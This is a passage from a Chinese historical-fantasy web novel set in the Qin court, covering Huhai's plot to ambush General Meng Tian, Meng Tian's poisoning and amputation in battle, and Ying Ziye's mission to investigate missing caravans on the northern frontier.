赵高知道他太多的秘密,太多的阴私勾当!
这样一个背叛者活着,对他而言就是悬在头顶的一把利剑,随时可能落下!
他深吸几口气,强行压下那几乎要冲垮理智的暴怒,声音变得极其冰冷。
“传令下去,动用影狩所有的暗线,给本公子查!”
“就算挖地三尺,也要把赵高那条老狗和他的残党给本公子揪出来!”
“活要见人,死……要见尸!”
“诺!”
心腹感受到主子那毫不掩饰的杀意,身体一颤,立刻领命。
“还有,”
胡亥叫住正要退下的心腹,补充道:“查的时候,‘不小心’把消息漏一点给黑冰台。”
“我想,父皇那边,应该也很乐意得到他的消息。”
心腹立刻了然!
这是要借刀杀人,甚至祸水东引!
他立刻应道:“属下明白!”
处理完赵高之事,胡亥眼中的暴戾稍稍收敛。
取而代之的是一种更加深沉冰冷的算计。
他站起身,走到悬挂的北疆地图前,目光落在了狼族活动区域和白狼部族的地盘上。
赵高虽然可恨,但北疆的棋局还未结束。
那位一直像看犯人一样看着他的蒙恬……
也是时候让他挪挪位置了。
他嘴角勾起一抹残忍的弧度。
“去,请狼族的挛鞮头领过来一叙。”他对着帐外吩咐道。
很快。
那位身材魁梧的狼族头领挛鞮便大步走了进来,抚胸行礼。
“殿下召见,不知有何吩咐?”
他眼神闪烁,显然也听说了泰山的一些风声,态度比以往更加谨慎。
胡亥背对着他,手指点在地图上白狼部族的位置,声音平淡却带着不容置疑的命令。
“挛鞮头领,你们狼族与白狼部族纠缠了这么久,也该有个了断了。”
挛鞮目光一凝:“殿下的意思是?”
“本公子会下令,让蒙恬将军‘协助’你们,奇袭白狼部族的王庭。”
“以蒙恬之能,加上你们狼族里应外合,拿下白狼王庭,并非难事。”
胡亥缓缓转过身,脸上带着一种近乎天真的残忍笑容!
“不过,大战之后,人困马乏,归心似箭……”
“回程的路,总是最容易放松警惕的,不是吗?”
挛鞮瞳孔微微一缩,瞬间明白了胡亥的意图!
这是要假借协助之名,让蒙恬去拼命!
然后…在其得胜归来,最为疲惫松懈的路上,设伏截杀!
好毒辣的计策!
一石二鸟!
既能重创甚至除掉蒙恬这个眼中钉,又能进一步削弱狼族的力量,还能将罪名推给白狼部族的残兵败将!
挛鞮心中寒意顿生。
但看着胡亥那不容拒绝的眼神。
以及想到狼族如今的处境。
他只能硬着头皮,躬身道:“殿下深谋远虑…狼族,谨遵殿下吩咐!”
“很好。”
胡亥满意地笑了,“去准备吧,记住,此事若走漏半点风声…后果,你知道的。”
“明白!”
挛鞮头领重重应了一声,低着头,快步退出了大帐,后背已然被冷汗浸湿。
而帐内。
胡亥独自看着地图,脸上那残忍的笑容愈发扩大。
……
数日之后,麒麟殿大朝。
文武百官肃立,目光皆聚焦于那位刚刚风尘仆仆从南疆归来的长公子——
扶苏。
与离京时相比,扶苏的面容明显清瘦了些,肤色也染上了南疆的风霜之色。
但那双原本温润如玉的眼眸,此刻却变得更加沉稳、坚毅。
眉宇间少了几分书卷气的优柔,多了几分历经实务后的干练与决断。
他身着朝服,步伐稳健,行至御阶之下,对着珠帘后的始皇深深一揖,声音清朗而沉着:
“儿臣扶苏,奉旨巡查南疆,历练归来,向父皇述职。”
他条理清晰。
开始详细禀报南疆诸事。
百越部族的安抚与治理,郡县设置的推进,屯田政策的成效,以及遇到的困难与解决方案……
他不再仅仅引经据典。
而是更多结合实地见闻,数据详实,分析透彻。
提出的建议也更具可行性。
列班的群臣中,以淳于越为首的儒臣们听得频频颔首,眼中流露出欣慰与赞赏。
他们能清晰地感受到。
这位他们一直看好的长公子,经过地方历练,已然褪去了几分理想化的色彩。
变得更加务实、成熟!
真正有了几分心系天下,沉稳干练的储君气度。
就连一向持重的右丞相冯去疾,抚须聆听时,眼中也不由闪过一丝讶异与认可。
这位长公子,确实成长了许多。
珠帘之后,良久无声。
直到扶苏禀报完毕,躬身静候旨意时,始皇那平稳却带着无上威严的声音才缓缓响起:
“善。”
仅仅一个字,却让下方许多老臣心中一定。
“看来,百越之行,让你获益匪浅。”
始皇的声音似乎缓和了些许,“既如此,此次归来,便无须再往南疆。”
“咸阳之中,政务繁巨,诸子百家改制,科举后续,乃至西域北疆之事,千头万绪,正需你与子夜,共同为朕分忧。”
这话语中的意味,不言而喻!
这是明确要将扶苏留在权力中心!
与如今风头正劲的六公子赢子夜一同参赞政务!
扶苏神色一凛,立刻深深躬身:“儿臣领旨!定当竭尽全力,辅佐父皇,为帝国效力!”
“退朝吧。”
“臣等恭送陛下!”
第333章 祖龙急召!
退朝的钟声响起,百官依次退出麒麟殿。
许多官员经过扶苏身边时,都纷纷拱手致意,态度比以往更加恭敬热络。
扶苏一一还礼,目光却穿过人群,落在了正准备离去的赢子夜身上。
他快步上前,唤道:“六弟留步。”
赢子夜停下脚步,转身看来,脸上露出一丝淡淡的,恰到好处的笑意。
“长兄,别来无恙。”
扶苏走到近前,再次郑重拱手,语气诚恳。
“六弟,南疆之时,多谢你派人送来那些关于农具、水利的图纸与建言,于我安抚百越,推广耕战助益极大,愚兄在此谢过。”
“长兄客气了,分内之事。”
赢子夜微微一笑,坦然受之,随即道:“长兄此番回来,气度愈发沉凝,看来收获颇丰。”
兄弟二人并肩向着宫外走去。
扶苏叹了口气,眉头微蹙,语气中带上了几分凝重与愤怒:“方才朝堂之上不便多言。”
“愚兄归来途中,已听闻泰山之事……”
“那赵高,竟敢行此大逆不道之事!勾结外敌,扰乱大典,其心可诛!”
“不知如今可曾抓捕归案?”
赢子夜摇了摇头,神色平静:“黑冰台与暗河皆在全力追缉,但目前尚未有确切消息传回。”
“赵高经营罗网多年,狡兔三窟,藏匿之术了得,非一时之功。”
他顿了顿,语气转而淡然,仿佛真的并不太在意:“相较于一条丧家之犬,愚弟更为忧心的,是西域的异动和北疆的局势。”
提到北疆。
扶苏的脸上果然露出了深深的忧虑之色。
他停下脚步,看向赢子夜:“十八弟他…年幼顽劣,从未经历过军旅,如今骤然执掌兵权,深入北疆,愚兄实在担心他能否胜任?”
“若因他之过,致使边陲生乱,将士折损,岂非……”
赢子夜心中暗暗冷笑。
胡亥的能力?
他打仗的本事或许稀松平常。
但那玩弄阴谋,算计人心的城府,可是深得赵高真传!
北疆之局,恐怕绝非表面那么简单。
但他面上却是不显分毫,反而露出一丝宽慰的笑容,拍了拍扶苏的肩膀。
“长兄仁厚,心系将士与边民,此乃帝国之福。”
“不过长兄也不必过于忧心,父皇既派了蒙恬将军为辅,蒙将军老成持重,用兵如神,有他从旁看顾,当可保无虞。”
“十八弟……也该历练历练了。”
扶苏闻言,眉头稍展,点了点头:“六弟所言甚是,有蒙将军在,确是稳妥许多。”
他似乎松了口气,但眼底那抹忧虑并未完全散去。
沉默片刻,扶苏又开口道:“还有一事。”
“愚兄离京日久,深感学识不足,尤在处理实务之时,常觉力有不逮。”
“听闻六弟创办万世书院,汇聚百家之学,更有诸多实用之术。”
“愚兄…也想前往书院学习一段时日,不知是否方便?”
赢子夜闻言,朗声一笑,神态洒脱:“长兄这是说的哪里话?”
“书院的大门,永远向天下求学之士敞开。”
“长兄若想去,直接去便可,无人会阻拦。”
“楼中藏书颇丰,经史子集、兵法政略、机关数术乃至农医工技,皆有涉猎。”
“长兄博览之下,或许对自身修行和日后理政,皆有大有裨益。”
他这话说得真心实意。
扶苏若能沉下心在书院学习,开阔眼界,增长实学,于帝国而言并非坏事。
至于其他……
赢子夜对自己有着绝对的自信。
扶苏见赢子夜答应得如此痛快,眼中闪过一丝感激与欣慰,拱手道:“如此,便多谢六弟了!”
“兄弟之间,何须言谢。”
赢子夜笑了笑,“长兄刚回来,想必还有许多事要处理,愚弟便先行一步了。”
“六弟慢走。”扶苏拱了拱手道。
赢子夜颔首示意,转身离去。
扶苏站在原地,望着赢子夜远去的背影,目光复杂。
有感激,有欣赏,有放松……
也有一丝不易察觉的,属于长兄的考量与决心。
……
夜色深沉。
六公子府书房内烛火摇曳。
赢子夜刚听完赵弋苍通过传讯符从北疆传回的密报,指尖正无意识地敲击着桌面,消化着信息。
“蒙恬已按胡亥之请,率部奇袭白狼部王庭……”
“我们的人已暗中尾随监视……”
这些信息,在他脑中盘旋。
胡亥主动让蒙恬去建功?
这绝非他那十八弟的风格。
其中必有蹊跷!
他眼中寒光一闪,正欲对侍立阴影中的暗河成员下达指令,门外突然传来一阵急促却刻意压低的脚步声。
“殿下!宫中急报!”
府中心腹管家的声音带着一丝紧张。
“陛下有旨,请殿下即刻入宫觐见!”
赢子夜敲击桌面的手指骤然停住!
深夜急召?
若非发生惊天大事,父皇绝不会在此时命他火速入宫!
北疆的密报、胡亥的异常举动,以及这突如其来的宫中急召……
种种线索瞬间在他脑中串联起来!
他猛地站起身,玄衣下摆带起一阵冷风。
脸上那片刻的沉思瞬间被绝对的冷静与凝重所取代。
“备车!即刻入宫!”
他的声音没有丝毫犹豫,带着一种山雨欲来的紧迫感。
甚至来不及对北疆之事做出更详细的部署,只对阴影中快速吩咐了一句:
“传令北疆,命我们的人密切监视蒙恬大军动向,尤其是回程路线!”
“一旦发现任何异常,不惜一切代价,立即以最快速度奏禀!”
“诺!”
阴影中传来一声低沉的回应。
赢子夜不再耽搁,大步流星地走出书房,身影很快消失在夜色之中。
马车早已备好,在寂静的街道上向着那座象征着帝国最高权力的宫城,疾驰而去。
车轮滚滚,赢子夜坐在车内,面色沉静如水,唯有那双深邃的眼眸中,闪烁着洞悉一切后的冰冷光芒。
北疆……
胡亥…
父皇深夜急召……
看来,他那位好十八弟,终究还是忍不住,要落下那最致命的一子了!
第334章 中伏!
章台宫内。
烛火将嬴政的身影拉得极长,投映在冰冷的地面上,如同蛰伏的巨龙。
他并未端坐,而是负手屹立在御阶高台之上,背对着殿门,眺望着窗外沉沉的夜色。
那股无形的帝威比往日更加凝练,也更加压抑。
赢子夜快步走入,躬身行礼:“儿臣参见父皇。”
“来了。”
嬴政并未回头,只是淡淡地应了一声。
他缓缓转过身,手中拿着一卷密封的羊皮纸,那纸张边缘磨损,带着北疆特有的风沙痕迹。
“看看这个。”
他将羊皮纸递下。
内侍恭敬接过,转呈给赢子夜。
赢子夜双手接过,展开密报,目光迅速扫过。
越是往下看,他的眉头便蹙得越紧,脸色也愈发凝重。
密报中的内容并不复杂,却透着一股令人不安的诡异!
其一,北疆几处靠近草原的边境大城,近月以来,接连发生商旅队伍离奇失踪案件。
并非遭遇马贼劫掠。
而是整支队伍连同货物,如同人间蒸发般消失得无影无踪。
生不见人,死不见尸。
当地官府多方探查,竟毫无线索,仿佛被某种无形的力量抹去。
其二,则是关于草原匈奴部族的重大变故。
此前臣服于大秦的匈奴单于,突然暴毙!
其弟以雷霆手段发动政变,诛杀单于子嗣与亲信,迅速夺取了单于之位。
而据黑冰台安插的暗探冒死传回的消息。
这位新任单于,在政变前后,曾秘密派出多批心腹使臣,暗中前往草原其他几个大部族,似有所图。
这两件事,看似并无直接关联,但结合在一起,却勾勒出一幅山雨欲来的画面。
北疆边境的不明威胁,草原权力更迭背后的暗流涌动……
尤其是那新任匈奴单于的动向,其背后是否隐藏着对大秦的敌意?
与那些失踪的商旅是否有关?
赢子夜合上密报,抬头看向高台之上的父皇,沉声道:
“父皇,北疆恐生变数。”
“商旅失踪之事蹊跷,匈奴政变更是非同小可。”
“其新单于暗中联络他部,所图必然不小。”
嬴政的目光如同两道实质的冷电,落在赢子夜身上,声音平稳却带着不容置疑的分量:
“胡亥与蒙恬虽在北疆,然胡亥年少,蒙恬重在军事布防。”
“此等暗流涌动,需明察暗访之事,非他们所长。”
他略一停顿,语气斩钉截铁:“子夜,朕,欲派你亲自前往北疆。”
赢子夜心神一凛,并未感到意外,立刻躬身:“儿臣领命!请父皇示下。”
“其一。”
嬴政伸出一根手指。
“给朕彻底查清边境大城商旅失踪之迷!”
“朕要知道,是什么东西,敢在帝国的疆土上兴风作浪!”
“其二。”
他伸出第二根手指。
“弄清楚草原各部,尤其是匈奴新单于和狼族的真实意图!”
“他们究竟想做什么?是欲联合抗秦,还是另有图谋?”
“朕,要确切的答案!”
他的目光变得无比锐利,带着一种洞察一切的威严:
“你此行,明为巡视边关,安抚诸部,暗则需动用一切手段,查明真相。”
“一旦发现任何不妥之处,无论事关胡亥、蒙恬,还是草原部族,无需犹豫,立即以最快速度密报于朕!”
“儿臣明白!”
赢子夜重重拱手,声音沉稳而坚定。
“定不负父皇重托,必将北疆之事,查个水落石出!”
“去吧。”
嬴政挥了挥手,重新转过身,望向窗外,只留给赢子夜一个深沉如渊的背影。
“即刻准备,明日便动身。”
“儿臣告退!”
赢子夜不再多言,躬身退出章台宫。
走出大殿,夜风拂面,带着寒意。
赢子夜握紧了手中的密报,眼中闪烁着冷静而锐利的光芒。
北疆……
胡亥…
狼族…匈奴政变……
还有那神秘的商旅失踪案……
这趟北疆之行,注定不会平静了。
而他,正好可以去亲自会一会他那位“好弟弟”,看看他到底在玩什么把戏!
……
与此同时。
北疆,夜黑风高。
蒙恬亲率五千精锐铁骑,人衔枚,马裹蹄,借着夜色掩护,如同幽灵般悄无声息地潜入白狼部族腹地。
根据胡亥提供的确切情报和狼族内应的指引,他们精准地绕开了几处哨卡,直扑白狼部王庭所在的山谷。
寒风凛冽,吹动着将士们的甲胄,发出细微的铿锵声。
蒙恬端坐于战马之上,面色冷峻,目光如鹰隼般扫视着前方黑暗中隐约可见的帐篷轮廓。
他虽奉命奇袭,但久经沙场的直觉让他心中始终萦绕着一丝不安。
十八公子此次为何如此积极?
狼族的“内应”又是否完全可靠?
“传令下去。”
蒙恬压低声音,对身旁副将吩咐。
“首要目标,烧毁其粮草囤积之地,制造混乱!”
“若有机会,可尝试冲击其中军大帐,擒杀其首领!”
“然,切记,一旦得手,或事不可为,立刻以响箭为号,全军迅速撤离,不得恋战!此乃军令!”
“末将明白!”
副将重重领命,将命令迅速传达下去。
将士们纷纷握紧了手中兵刃,眼中闪烁着嗜血与紧张的光芒。
子时三刻,正是人困马乏之时。
“动手!”
蒙恬猛地一挥手中长枪!
“杀——!!”
如同压抑已久的火山骤然爆发!
五千铁骑如同决堤的洪流,猛地从黑暗中冲出,杀声震天,直扑毫无防备的白狼部营地!
火箭如同流星般射向那些巨大的,堆积如山的粮草垛!
干燥的草料瞬间被点燃,火借风势,迅速蔓延开来,映红了半边天!
整个白狼部营地顿时陷入一片火海与混乱之中!
哭喊声、惊叫声、牲畜的嘶鸣声响彻不断!
秦军铁骑如同虎入羊群,刀锋所向,血肉横飞!
他们训练有素,分成数股,一部分继续纵火制造混乱,一部分则如同尖刀般直插营地核心——
那顶最为华丽巨大的中军大帐!
只见蒙恬一马当先,长枪如龙,挑飞数名仓促迎敌的白狼部勇士!
他目标明确,就是要趁乱拿下白狼部首领!
而大帐之内,烛火摇曳。
白狼部那位以勇武著称的首领,显然也是刚刚来得及披上甲胄,正欲拔刀迎敌!
蒙恬杀意如虹,长枪疾刺!
“噗!”
枪尖破空,直刺向白狼部首领的胸膛!
那首领猛地怒吼一声,竟硬生生偏过身子,长刀闪电般劈下!
“铛——!”
枪锋与刀刃在狭窄的帐内激烈碰撞,火花四溅!
巨大的力量震得两人同时一震,帐篷内的几根立柱都随之摇晃!
首领怒目圆睁,气势如山,刀势接连斩下,凶猛凌厉,逼得亲兵不敢靠近!
蒙恬目光冷峻,长枪舞动如龙,每一击都沉稳而精准,将对方的狂暴刀势一一化解!
短短数招,两人已在大帐中杀得风声呼啸,刀枪交击声震耳欲聋!
但毕竟久经沙场的蒙恬更胜一筹!
他抓住对方刀势微滞的瞬间,枪身猛地一振,化解开劈来的大刀,枪尖顺势洞穿了对方胸膛!!
“噗!”
鲜血飞溅,首领脸上凝固着惊愕与不甘,身躯轰然倒地!
地毯迅速被血染透,气息彻底消散!
“尔等首领已死!”
副将振声高呼,秦军士气大振!
白狼部营地彻底陷入混乱,哭喊与溃散之声不绝于耳!
蒙恬却没有丝毫贪功冒进的意思,他脸色冷峻,立刻下令。
“响箭!全军撤退!”
他深知奇袭之道,不在于彻底歼灭,而在于速战速决!
既然已经击杀敌首……
足矣!
尖锐的箭啸声划破夜空!
秦军将士听到信号,立刻依令收拢阵形,且战且退,准备从预定的撤离路线退出!
然而,正当他们杀出一条血路,行至半途之际……
“呜嗷——!!!”
四面八方,骤然响起了如同狼嚎般的冲锋号角!
比白狼部多出数倍的大量骑兵,从夜色与荒野深处骤然涌现!
这些人身披兽皮,眼神凶悍,步伐整齐,杀意森冷!
与白狼部不同,他们的军势更为严整,显然不是普通部族,而是精锐铁骑!
如同从地底钻出一般,他们瞬间完成了对秦军的反包围!
副将脸色大变!
“敌人设伏!”
蒙恬心神一凛,脸色铁青!
第335章 蒙恬生死不明,将星未来堪忧!
“跟我杀出去!”
蒙恬怒吼声如雷霆,震得四野皆惊!
秦军将士紧随其后,嘶喊震天,奋力冲杀!
血光四溅,尸体横陈,秦军与敌骑混战成一片,战场惨烈如修罗地狱!
但即便蒙恬大杀四方,血染长枪,他的目光依旧冰冷清醒。
因为,若不尽快杀出重围,纵使自己再勇,也必将埋骨于此!
“嗤——!”
突然!
一道极其细微,却快如闪电的乌光,从混乱战场的阴影中射出,直奔蒙恬毫无防护的右臂!
蒙恬虽有所察觉,但正全力应对正面之敌,终究慢了一瞬!
“噗!”
一支通体乌黑,闪烁着幽蓝光泽的短箭,狠狠钉入了他的右臂铠甲缝隙之中!
一股钻心的剧痛瞬间传来,紧接着便是麻木与冰冷感迅速蔓延!
箭上有毒!
而且是剧毒!
蒙恬闷哼一声,手臂瞬间无力垂下,长枪险些脱手!
他脸色瞬间变得乌青,身形摇晃了一下!
“保护将军!”
亲兵们见状,目眦欲裂,疯狂地涌上来,用身体组成人墙,挡在蒙恬周围!
但主帅重伤,秦军士气顿时大跌,防线更是岌岌可危!
眼看就要全军覆没于此!
千钧一发之际!
“咻咻咻——!”
数十道如同鬼魅般的黑影,悄无声息地出现在了战场最混乱,最关键的位置!
他们出手如电,匕首、短弩、飞针……
各种阴毒暗器精准地射向那些正在指挥围攻的敌军头目!
同时,几枚烟雾弹被掷出,浓密的带有刺鼻气味的烟雾瞬间弥漫开来,遮蔽了视线!
“敌袭!小心暗器!”
敌军阵营中响起惊怒的呼喝声,攻势为之一乱!
就在这混乱的刹那,两道身影如同苍鹰般从天而降,直接落在蒙恬身边!
正是奉赢子夜之命一直暗中监视的赵弋苍,和暗河中的顶尖杀手队伍,夜枭卫!
赵弋苍二话不说,一把扶住几乎昏迷的蒙恬,夜枭们则挥舞双刃,瞬间斩杀数名逼近的敌人!
“走!”
赵弋苍低喝一声,与一名夜枭,一左一右架起蒙恬,身形如同鬼魅般向后急退,迅速融入烟雾和黑暗之中!
其他夜枭则拼死断后,用生命为他们的撤离争取时间!
……
北疆行营。
胡亥慵懒地倚在铺着白虎皮的软榻上。
指尖有一搭没一搭地敲击着扶手,听着心腹压低声音的禀报。
“……蒙恬所部奇袭白狼部王庭,虽烧毁部分粮草,但陷入重围,死伤惨重。”
“蒙恬本人…身中剧毒箭矢,危在旦夕。”
“然,就在即将被擒杀之际,被一伙神秘黑衣人突入救走,下落不明。”
“现场清理完毕,未留下任何指向我们的痕迹。”
胡亥敲击扶手的动作倏然停住。
他脸上那副漫不经心的表情瞬间消失!
取而代之的是一种混合着得意、阴冷,和一丝不易察觉忌惮的复杂神色。
“中了毒箭?危在旦夕?”
他低声重复了一遍,嘴角缓缓勾起一抹冰冷而扭曲的弧度。
“好,很好…虽然没能当场要了他的命,但这结果,也不算太差。”
但随即,他眼中闪过一丝厉色。
“至于神秘黑衣人?”
“能在重重包围中把人救走…哼,除了我那好六哥手下的暗河,还有谁有这等本事和胆子?”
他发出一声嗤笑。
带着浓浓的不屑与嘲讽。
“看来我这个六哥,对北疆,对本公子,还真是关心备至,一刻也不放松啊!”
“连蒙恬身边都安插了如此高手暗中监视!”
不过,这缕不快,很快便被更大的畅快所取代。
他站起身,在帐内踱了两步。
脸上重新浮现出那种一切尽在掌握的残忍笑容。
“无妨!救走了又如何?”
“那箭上的‘狼噬’之毒,乃是狼族秘制,无药可解!”
“蒙恬就算被救回去,也不过是苟延残喘,多受几日折磨罢了!”
“只要没留下任何指向本公子的痕迹,就算六哥怀疑,没有证据,他又能奈我何?”
他猛地停下脚步,眼中爆射出锐利的光芒!
一连串命令如同毒蛇吐信般迅速下达。
“传令!集结大军,以‘为蒙恬将军复仇,剿灭叛逆’之名,给本公子全力猛攻白狼族残部!”
“趁他们现在群龙无首,混乱不堪,一举将其击溃吞并!”
“要让所有人都看到,是本公子在收拾残局,扩大帝国疆土!!”
“再派出一支精锐骑兵,大张旗鼓,四处‘搜寻’蒙恬将军的下落!”
“做戏要做全套!”
“务必让朝廷,让我那父皇和六哥都看到,本公子是如何心急如焚,牵挂咱们这位帝国大将的!”
他脸上露出一个近乎天真的残忍表情。
“毕竟,兄弟情深,体恤臣工,可是本公子一贯的美德啊!”
“诺!”
心腹立刻领命,眼中闪烁着对主子手段的敬畏,迅速转身出去传达命令。
胡亥独自留在帐内,走到地图前,看着代表白狼部的地盘,脸上露出了贪婪而满足的笑容。
一石二鸟!
既除掉了蒙恬这个碍眼的绊脚石,又能趁机吞并白狼部,扩大自己的势力和军功!
至于六哥的监视和可能的怀疑……
在绝对的战功和苦劳面前,又算得了什么?
……
荒僻的山洞内。
篝火跳动,映照出几张凝重无比的脸。
蒙恬躺在铺着干草的地上,脸色已从之前的乌青转为一种死寂的灰黑,呼吸微弱得几乎听不见。
他那条中了毒箭的右臂,此刻肿胀得如同发酵的面团。
皮肤呈现出一种诡异的紫黑色,并且那可怕的色泽正以肉眼可见的速度,沿着手臂飞快地向肩膀乃至躯干蔓延!
丝丝黑气甚至从毛孔中渗出,散发出令人作呕的腥臭。
赵弋苍蹲在一旁,手指搭在蒙恬完好的左腕脉搏上,脸色阴沉得能滴出水来。
他身后的暗河杀手夜枭等精锐,也都屏息凝神,眼中充满了焦急与无力。
“好霸道的毒!”
赵弋苍收回手,声音沙哑,每一个字都像是从牙缝里挤出来的。
“毒性烈,蔓延极快,更麻烦的是……”
“它似乎在吞噬生机,腐蚀经脉!”
“寻常解毒丹根本压制不住!”
他尝试着运功,将精纯的内力输入蒙恬体内,试图逼出毒素。
但那毒素如同附骨之疽,顽固异常。
内力所过之处,只能暂时延缓其蔓延,却无法根除。
反而像是激怒了它们,蔓延的速度似乎更快了一丝!
“噗!”
蒙恬身体猛地抽搐了一下,又喷出一小口发黑的血液。
眼看那黑气就要越过肩膀,侵入心脉!
一旦毒素攻心,便是大罗金仙也难救!
赵弋苍眼中闪过一丝决绝!!
他猛地抬头,看向夜枭,厉声道:“按住他!”
夜枭们没有任何犹豫,立刻上前,用尽全力死死按住蒙恬的身体。
赵弋苍深吸一口气,眼中再无半分迟疑!
他闪电般拔出腰间那柄淬炼了无数剧毒的匕首——
此刻,这柄毒刃却成了救命的工具!
寒光一闪!
“咔嚓!”
伴随着一声令人牙酸的骨裂声和皮肉撕裂声!
蒙恬那条已经完全变成紫黑色的右臂,齐肩被赵弋苍硬生生斩断!
鲜血如同喷泉般涌出!
“呃啊——!”
即便处于深度昏迷,剧烈的疼痛依旧让蒙恬发出一声无意识的惨哼。
身体剧烈地挣扎了一下,随即彻底昏死过去。
赵弋苍看也不看那掉落在地,迅速腐烂发臭的断臂。
出手如电,连点蒙恬肩部周围十几处大穴,勉强止住喷涌的鲜血。
同时,他再次运转内力,趁着毒素主力随着断臂被移除,新的毒素尚未完全侵入心脉的宝贵间隙!
将一股精纯的内力强行灌入蒙恬心脉附近,护住其最后一线生机。
并小心翼翼地,逼出一丝丝已经渗入的黑色毒血!
做完这一切,赵弋苍额头已布满冷汗,气息也微微紊乱。
他看着地上气息依旧微弱,但脸上死灰色稍褪,蔓延的黑气终于停止的蒙恬,重重地松了口气。
命,暂时是保住了。
但失去一臂,元气大伤。
未来的蒙恬……
赵弋苍眼中闪过一丝复杂。
第336章 投石问路!
半月跋涉。
赢子夜一行人终于抵达北疆边境——
九原。
夜色笼罩下的边城,比之内地多了几分肃杀与苍凉,寒风卷着砂砾敲打着窗棂。
城主府密室之内,烛火摇曳。
九原郡守将金荣,一位面容粗犷,饱经风霜的中年将领,正躬身立于案前,神色恭敬中带着难以掩饰的焦虑。
他将厚厚一摞卷宗双手呈上。
“殿下,这便是近半年来,九原、云中、雁门三座大城及其周边区域,所有上报的商旅失踪案卷汇总。”
“末将无能,反复查探,至今…至今未能找到丝毫线索。”
金荣的声音带着愧疚与疲惫。
赢子夜面色平静,接过卷宗,借着烛光,一页页仔细翻阅。
焰灵姬、雪女、端木蓉、少司命四女则静立一旁,同样关注着案卷内容。
而旁边,钟离昧背弓捉刀,神色肃穆!
卷宗记录得很详细。
某队如药材、布匹、盐铁、瓷器等商号,多位于几大部族势力范围的交错地带,或通往草原的必经之路失去联系。
随行人员几何,护卫力量如何……
最后皆是“搜寻无果,疑似遭遇不测”。
赢子夜看得很快,但眼神锐利,不放过任何细节。
很快,他合上卷宗,指节轻轻敲击着桌面。
“金将军。”
他抬起眼,看向金荣。
“从这些记录来看,失踪的商队所贩货物五花八门,并无特定目标。”
“失踪地点也分散在各部族交界之处,看似并无规律可循。”
“你们现场勘查,可有何发现?”
金荣连忙回道。
“回殿下!每一处失踪地点,末将都曾亲自或派得力干将前往查探!”
“怪就怪在,现场几乎没有任何打斗痕迹!”
“没有血迹,没有散落的货物,甚至连车辙马蹄印都在某一处戛然而止,仿佛…仿佛整支队伍凭空消失了一般!”
“周边虽有游牧部落活动,但经询问,皆言未曾见过可疑之人或大规模冲突。”
“末将也曾怀疑是某些小部落见财起意。”
“但仔细盘查,皆无实证。”
“且其部落规模,也难以悄无声息地吞掉整支有护卫的商队。”
他叹了口气,脸上愁云密布。
“正因为此事诡异,查无线索,导致谣言四起。”
“如今三城之中,往来商旅数量已大不如前,许多商队宁愿绕远路,也不敢再走这些传统商道。”
“长此以往,边贸凋敝,税收锐减,恐动摇边城根基啊!”
赢子夜听完,脸上并无太多波澜,只是淡淡道:“金将军不必过于焦虑。”
“此事蹊跷,非战之罪。”
“本公子既然来了,自然要查个水落石出。”
他语气中的沉稳与自信,让金荣焦灼的心情稍稍平复了些,连忙躬身!
“有殿下在,末将便放心了!”
“但有所命,九原郡上下,莫敢不从!”
“你先下去吧,约束好部下,一切如常,勿要打草惊蛇。”
“诺!末将告退!”
金荣重重行礼,退出了密室。
房门关上后,焰灵姬第一个凑到案前,拿起卷宗翻看,红唇撇了撇。
“哟,药材、布匹、盐铁……什么都抢?”
“看样子倒真像是寻常劫财的匪盗。”
“可那将军又说现场干净得像被狗舔过,周边部落也没嫌疑…这就怪了。”
雪女清冷的目光扫过卷宗上标注的失踪地点,微微摇头。
“若真是周边游牧部落所为,手段如此干净利落,且目标如此分散随机,未免太过刻意,反而显得不真实。”
“更像是在…掩饰真正的目的。”
端木蓉作为医者,心思更为缜密,她指着几处记录道。
“你们看,这几支失踪的药材商队,所载药材并非都是名贵种类,有些甚至是治疗风寒、外伤的普通药材。”
“若为劫财,为何连这些都不放过?”
“而且,时间点上,似乎也看不出什么规律。”
少司命虽未说话,但那双淡紫色的眼眸也一直停留在卷宗上,似乎在默默分析。
赢子夜站起身,走到悬挂的北疆地图前,目光深邃地扫过那些被标注出来的失踪地点。
正如众女所言。
此案,处处透着诡异。
劫财之说看似合理,却经不起推敲。
游牧部落的嫌疑很大,却又缺乏证据,甚至显得过于明显。
“事情,绝没那么简单。”
赢子夜的声音带着一丝冷意。
“这背后,必然隐藏着更大的图谋。”
“或许,这些失踪的商旅本身,就是‘货物’的一部分?”
他转过身,眼中闪过一丝厉色。
“传令!”
阴影中,一道身影悄然浮现。
“让噬牙狱那些鼻子最灵的囚徒,分散潜入九原、云中、雁门三城。”
“给他们戴罪立功的机会,暗中盯紧所有进出城的可疑之人,尤其是…频繁接触各部落,或行踪诡秘,或大量采购特定物资者!”
“有任何异常,立刻报我!”
“诺!”
黑影领命,无声消失。
……
九原郡内。
暗流涌动。
赢子夜下榻的府邸戒备森严,却挡不住无形的信息往来。
这一日,府邸侧门悄无声息地滑开。
一个穿着普通商人服饰,却难掩其精干气质的老者闪身而入,正是乔装打扮的公输仇。
他被引至密室,见到赢子夜,立刻躬身行礼,机关手发出细微的咔哒声。
“殿下,老夫已按吩咐,暗中安排妥当。”
“所需的一应材料清单在此,其中部分特殊金属与机关核心,已命可靠弟子从不同渠道秘密运往城外预设地点。”
公输仇递上一份绢帛清单,上面罗列着各种奇特的材料名称。
赢子夜接过清单扫了一眼,微微颔首。
“有劳先生。”
“材料之事,务必谨慎,宁可慢,不可泄。”
他顿了顿,又道:“再过几日,蒙恬将军便会秘密抵达此地。”
“届时,还需先生妙手,助他……适应新的情况。”
公输仇自然明白“新的情况”所指为何。
蒙恬断臂,需制作精巧的机关义肢。
他郑重道:“殿下放心,老夫定当竭尽全力,让蒙将军重获臂助!”
就在此时。
密室阴影处,一道如同鬼魅般的身影悄然浮现,无声跪地。
来人浑身笼罩在黑衣中,气息阴冷,正是被派出去侦查的噬牙狱囚徒之一,代号“影蝎”。
“殿下。”
影蝎的声音沙哑低沉,带着一丝压抑的兴奋。
“有发现!”
赢子夜目光一凝!
“讲。”
“属下等人奉命监控三城,于九原西市‘悦来’客栈,发现一伙人极为可疑!”
影蝎语速加快。
“他们虽乔装成贩运皮货的商旅,包下了客栈后院整整五间上房,但身上那股子洗不掉的血腥味和杀戮气,隔着老远都能闻到!”
“绝对是常年刀头舔血的悍匪,绝非普通行商!”
赢子夜指尖轻轻敲击桌面。
“继续。”
“属下设法弄到了他们的入住记录。”
影蝎从怀中掏出一张皱巴巴的纸页:“他们在此,已经住了将近半个月!”
半个月?
赢子夜眼中寒光一闪!
九原城虽是边贸重镇,但客栈的主要功能是给往来商队提供临时歇脚,通常住个三五日便是长的。
一伙“商旅”在此常住半月,本身就不合常理!
影蝎继续禀报,语气更加确定。
